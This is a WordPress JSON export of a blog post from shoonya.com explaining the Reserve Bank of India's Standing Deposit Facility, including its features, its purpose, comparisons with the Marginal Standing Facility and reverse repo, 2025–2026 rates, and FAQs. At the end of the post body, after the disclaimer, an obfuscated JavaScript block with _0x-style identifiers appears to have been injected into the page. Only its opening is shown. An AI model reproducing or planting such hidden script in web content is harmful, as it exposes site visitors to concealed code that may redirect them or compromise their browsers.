{"id":6425,"date":"2026-03-11T04:19:15","date_gmt":"2026-03-11T10:49:15","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6425"},"modified":"2026-03-11T04:39:16","modified_gmt":"2026-03-11T11:09:16","slug":"standing-deposit-facility","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/","title":{"rendered":"Standing Deposit Facility (SDF) &#8211; RBI&#8217;s Liquidity Tool"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#Key_Highlights_of_Standing_Deposit_Facility_SDF\" >Key Highlights of Standing Deposit Facility (SDF)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#Standing_Deposit_Facility_Meaning_%E2%80%93_SDF_in_Banking_System\" >Standing Deposit Facility Meaning &#8211; SDF in Banking System<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#Why_did_the_RBI_introduce_SDF\" >Why did the RBI introduce SDF?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#How_Does_the_Standing_Deposit_Facility_Affect_Liquidity\" >How Does the Standing Deposit Facility Affect Liquidity?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#MSF_and_SDF_Marginal_Standing_Facility_vs_Standing_Deposit_Facility\" >MSF and SDF: Marginal Standing Facility vs Standing Deposit Facility&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#Reverse_Repo_Rate_and_Standing_Deposit_Facility_SDF_How_Do_They_Differ\" >Reverse Repo Rate and Standing Deposit Facility (SDF): How Do They Differ<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/#Standing_Deposit_Facility_SDF_%E2%80%93_FAQs\" >Standing Deposit Facility (SDF) &#8211; FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Standing Deposit Facility (SDF) &#8211; RBI&#8217;s Liquidity Tool<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When banks have extra money, what do they do with it? SDF is a mechanism that helps manage such extra liquidity in the economy. SDF\u2019s full form in banking is Standing Deposit Facility.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Highlights_of_Standing_Deposit_Facility_SDF\"><\/span>Key Highlights of Standing Deposit Facility (SDF)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 Introduced by the Reserve Bank of India in April 2022.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 Serves as the floor of the Liquidity Adjustment Facility corridor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 Enables banks to deposit surplus funds with the RBI.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 Has replaced the Fixed Rate Reverse Repo as the primary liquidity absorption tool.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this blog, we will share all the basics surrounding the Standing Deposit facility, the SDF rate, and the need for SDF RBI for liquidity management.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Standing_Deposit_Facility_Meaning_%E2%80%93_SDF_in_Banking_System\"><\/span>Standing Deposit Facility Meaning &#8211; SDF in Banking System<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Standing Deposit Facility (SDF) is a collateral-free overnight monetary policy tool introduced by the Reserve Bank of India in April 2022 to absorb surplus liquidity from the banking system. It acts as the lower bound of the Liquidity Adjustment Facility (LAF) corridor, allowing banks to park excess funds with the RBI without providing government securities.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Features of the Standing Deposit Facility<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Collateral-free facility: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Unlike the traditional reverse repo, the RBI does not need to provide government securities when absorbing liquidity through the SDF.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Floor of the LAF corridor: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The SDF rate is kept <strong>25 basis points below the policy repo rate<\/strong>, making it the lower bound of the Liquidity Adjustment Facility corridor.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Active rate alignment: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The RBI adjusts the SDF rate along with the <a href=\"https:\/\/shoonya.com\/blog\/rbi-monetary-policy\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/rbi-monetary-policy\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">repo rate<\/mark><\/a> to maintain the <strong>25 basis point corridor<\/strong>. For example, in <strong>December 2025<\/strong>, with the repo rate at <strong>5.25 percent<\/strong>, the SDF rate was <strong>5.00 percent<\/strong>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Overnight and flexible tenure: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The facility is mainly used for <strong>overnight liquidity absorption<\/strong>, although the RBI can extend the tenure with appropriate pricing when required.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Discretionary participation: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Banks can <strong>voluntarily park excess funds<\/strong> with the RBI through the SDF.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Electronic execution: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">SDF operations are conducted through the RBI\u2019s <strong>e-Kuber system<\/strong>, including on weekends and holidays.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 SLR eligibility: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Deposits made under the SDF are considered <strong>eligible assets for maintaining the Statutory Liquidity Ratio<\/strong>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Not eligible for CRR: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Funds deposited under the SDF <strong>cannot be counted towards Cash Reserve Ratio balances<\/strong>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Handles large liquidity surpluses: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The SDF enables the RBI to absorb <strong>very large liquidity surpluses, sometimes exceeding \u20b91 trillion<\/strong>, without being constrained by the availability of government securities.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Primary liquidity management tool: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The SDF is now widely used for <strong>mopping up excess liquidity<\/strong>, often replacing the fixed rate reverse repo.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u2022 Supports inflation control and monetary transmission: <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">By withdrawing excess money from banks, it helps <strong>manage inflation and keep short term market rates such as the Weighted Average Call Rate within the policy corridor<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Why_did_the_RBI_introduce_SDF\"><\/span>Why did the RBI introduce SDF?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The RBI introduced the Standing Deposit Facility as a way to manage liquidity in the economy, especially after the COVID-19 pandemic, which led to a significant increase in funds within the banking system.<br>Excess liquidity in the financial system can create inflationary pressures and make monetary policy implementation more challenging.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SDF in banking was introduced for the following reasons:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>To manage the post-pandemic liquidity surplus:<\/strong> Large capital inflows and stimulus measures increased liquidity in the banking system, requiring a more efficient absorption mechanism.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>To improve flexibility in monetary policy operations:<\/strong> The SDF provides the RBI with a more efficient tool for managing short-term liquidity compared with earlier liquidity management mechanisms.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>To remove collateral constraints in liquidity absorption:<\/strong> Since the facility is uncollateralised, the RBI can absorb large volumes of liquidity without relying on the availability of government securities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>To strengthen monetary policy transmission:<\/strong> By helping maintain a clear interest rate structure in the banking system, the SDF supports the effective transmission of policy rate changes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>To maintain financial stability:<\/strong> Managing excess liquidity helps control inflationary pressures and supports stability in the financial system.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_Does_the_Standing_Deposit_Facility_Affect_Liquidity\"><\/span>How Does the Standing Deposit Facility Affect Liquidity?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Standing Deposit Facility plays a central role in maintaining liquidity balance in the banking system. By providing banks with a safe place to deposit excess funds, the RBI can influence short-term interest rates and control the overall flow of money in the economy.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>Stabilises money market rates:<\/strong> By setting the SDF rate as the floor of the Liquidity Adjustment Facility corridor, the RBI ensures that overnight market rates do not fall significantly below this level.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>Improves monetary policy transmission:<\/strong> When the RBI changes policy rates such as the repo rate, the SDF rate adjusts accordingly, helping transmit policy signals to the broader financial system.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>Prevents excessive lending during liquidity surpluses:<\/strong> During periods when banks have abundant liquidity, SDF discourages uncontrolled lending by offering a risk free parking option with the RBI.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>Supports inflation management:<\/strong> By absorbing excess liquidity, the RBI can reduce inflationary pressure and maintain financial stability.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>Strengthens liquidity management flexibility:<\/strong> Since the facility does not require collateral, the RBI can absorb very large volumes of liquidity without being constrained by the availability of government securities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"MSF_and_SDF_Marginal_Standing_Facility_vs_Standing_Deposit_Facility\"><\/span>MSF and SDF: Marginal Standing Facility vs Standing Deposit Facility&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Standing Deposit Facility (SDF)<\/strong> and <strong>Marginal Standing Facility (MSF)<\/strong> are two key liquidity management tools used by the <strong>Reserve Bank of India under the Liquidity Adjustment Facility framework<\/strong>.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is MSF and SDF?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">While SDF is used to absorb surplus liquidity from banks, MSF allows banks to borrow funds from the RBI during liquidity shortages.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Key Differences Between MSF and SDF<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Basis<\/strong><\/td><td><strong>Standing Deposit Facility (SDF)<\/strong><\/td><td><strong>Marginal Standing Facility (MSF)<\/strong><\/td><\/tr><tr><td><strong>Purpose<\/strong><\/td><td>Absorbs excess liquidity from the banking system<\/td><td>Provides emergency liquidity to banks<\/td><\/tr><tr><td><strong>Direction of liquidity<\/strong><\/td><td>Liquidity absorption<\/td><td>Liquidity injection<\/td><\/tr><tr><td><strong>Collateral requirement<\/strong><\/td><td>No collateral required<\/td><td>Banks must pledge securities from their SLR portfolio<\/td><\/tr><tr><td><strong>Interest rate position<\/strong><\/td><td>Usually, <strong>25 basis points below the repo rate<\/strong><\/td><td>Usually <strong>25 basis points above the repo rate<\/strong><\/td><\/tr><tr><td><strong>Role in the LAF corridor<\/strong><\/td><td>Acts as the <strong>floor of the LAF corridor<\/strong><\/td><td>Acts as the <strong>upper bound of the LAF corridor<\/strong><\/td><\/tr><tr><td><strong>Usage by banks<\/strong><\/td><td>Banks park surplus funds with the RBI<\/td><td>Banks borrow funds from the RBI during short-term liquidity stress<\/td><\/tr><tr><td><strong>Nature of facility<\/strong><\/td><td>Collateral-free deposit facility<\/td><td>Emergency borrowing facility<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 <strong>SDF:<\/strong> Used when banks have <strong>too much money<\/strong> and want to park surplus funds safely with the RBI.<br>\u2022 <strong>MSF:<\/strong> Used when banks face a <strong>shortage of funds<\/strong> and need to borrow from the RBI overnight.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is the new timing of SDF and MSF?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The operational timing of the <strong>Standing Deposit Facility (SDF)<\/strong> and <strong>Marginal Standing Facility (MSF)<\/strong> is <strong>7:00 PM to 11:59 PM daily<\/strong>. The Reserve Bank of India revised these timings from <strong>July 1, 2025,<\/strong> to align them with the extended hours of the call money market.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Reverse_Repo_Rate_and_Standing_Deposit_Facility_SDF_How_Do_They_Differ\"><\/span>Reverse Repo Rate and Standing Deposit Facility (SDF): How Do They Differ<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As of <strong>February 2026<\/strong>, the <strong>repo rate is 5.25%, the SDF rate is 5.00%, and the reverse repo rate is 3.35%<\/strong>, forming part of the RBI\u2019s liquidity management framework under the Liquidity Adjustment Facility.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Basis<\/strong><\/td><td><strong>Reverse Repo Rate<\/strong><\/td><td><strong>Standing Deposit Facility (SDF)<\/strong><\/td><\/tr><tr><td>Meaning<\/td><td>The interest rate at which the RBI borrows money from commercial banks against government securities<\/td><td>The interest rate at which the RBI absorbs surplus liquidity from banks without providing collateral<\/td><\/tr><tr><td>Purpose<\/td><td>Helps manage liquidity by allowing banks to deposit surplus funds with the RBI<\/td><td>Absorbs excess liquidity from the banking system without requiring government securities<\/td><\/tr><tr><td>Collateral<\/td><td>Requires government securities as collateral<\/td><td>No collateral required<\/td><\/tr><tr><td>Role in policy framework<\/td><td>Part of the RBI liquidity management toolkit<\/td><td>Acts as the <strong>floor of the Liquidity Adjustment Facility corridor<\/strong><\/td><\/tr><tr><td>Current rate (Feb 2026)<\/td><td><strong>3.35%<\/strong><\/td><td><strong>5.00%<\/strong><\/td><\/tr><tr><td>Relation to repo rate<\/td><td>Lower than the repo rate<\/td><td>Usually, <strong>25 basis points below the repo rate<\/strong><\/td><\/tr><tr><td>Impact on liquidity<\/td><td>Encourages banks to lend surplus funds to the RBI<\/td><td>Encourages banks to park surplus funds with the RBI to absorb liquidity<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is the difference between the Repo Rate and the SDF?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>repo rate is the rate at which the RBI lends money to banks<\/strong>, usually against government securities. In contrast, the <strong>Standing Deposit Facility is the rate at which the RBI absorbs excess liquidity from banks without requiring collateral<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SDF is expected to enhance the effectiveness of the RBI&#8217;s monetary policy. It also aims to promote investment in the economy. However, SDF may affect the demand and supply of government securities and discourage the banks from lending to the private sector.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Standing_Deposit_Facility_SDF_%E2%80%93_FAQs\"><\/span>Standing Deposit Facility (SDF) &#8211; FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1773224768873\"><strong class=\"schema-faq-question\"><strong>Does the RBI give interest on SDF?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, the <strong>Reserve Bank of India pays interest to banks that park surplus funds through the Standing Deposit Facility<\/strong>. The SDF interest rate is usually <strong>25 basis points lower than the repo rate<\/strong> and applies to funds deposited overnight.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1773224886667\"><strong class=\"schema-faq-question\"><strong>What is SDF as per RBI?<\/strong><\/strong> <p class=\"schema-faq-answer\">SDF, as per RBI, is a collateral-free liquidity absorption mechanism introduced by the RBI to reduce the excess liquidity in the system and control inflation. SDF was introduced on April 8, 2022, and it replaced the fixed-rate reverse repo.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1773224887435\"><strong class=\"schema-faq-question\"><strong>What is the difference between SDF and reverse repo?<\/strong><\/strong> <p class=\"schema-faq-answer\">SDF does not require any collateral from the RBI to absorb liquidity from banks, while reverse repo requires the RBI to deposit collateral or government securities to borrow from banks.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1773224961293\"><strong class=\"schema-faq-question\"><strong>What is the full form of SLF and SDF?<\/strong><\/strong> <p class=\"schema-faq-answer\">The full form of SLF is a Special Liquidity Facility, and the full form of SDF is a Standing Deposit Facility.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1773224972293\"><strong class=\"schema-faq-question\"><strong>What is SDF rate meaning?<\/strong><\/strong> <p class=\"schema-faq-answer\">The <strong>SDF rate <\/strong>refers to the interest rate paid by the RBI to banks for parking their excess funds overnight under the Standing Deposit Facility.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1773224983000\"><strong class=\"schema-faq-question\"><strong>What is the full form of SDF?<\/strong><\/strong> <p class=\"schema-faq-answer\">The full form of SDF is Standing Deposit Facility. It is a mechanism introduced by the RBI to absorb excess liquidity from banks without providing any collateral in return.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source<\/strong>: <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">rbi.org.in<\/mark><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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SDF is a mechanism that helps manage such extra liquidity in the economy. SDF\u2019s full form in banking is Standing Deposit Facility.&nbsp; Key Highlights of Standing Deposit Facility (SDF) \u2022 Introduced by the Reserve Bank of India in April 2022. \u2022 Serves as the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/standing-deposit-facility\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Standing Deposit Facility (SDF) &#8211; RBI&#8217;s Liquidity Tool&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":16760,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[11],"tags":[9495,5497,3099,9493,3101,9494,5498,9492,3097,3098,3100],"class_list":["post-6425","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-personal-finance","tag-msf-and-sdf","tag-sdf-and-msf","tag-sdf-full-form","tag-sdf-in-banking","tag-sdf-rate","tag-sdf-rate-meaning","tag-sdf-rbi","tag-ssdf-full-form-in-banking","tag-standing-deposit-facility","tag-standing-deposit-facility-rate","tag-what-is-standing-deposit-facility-rate"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Standing Deposit Facility - Meaning &amp; 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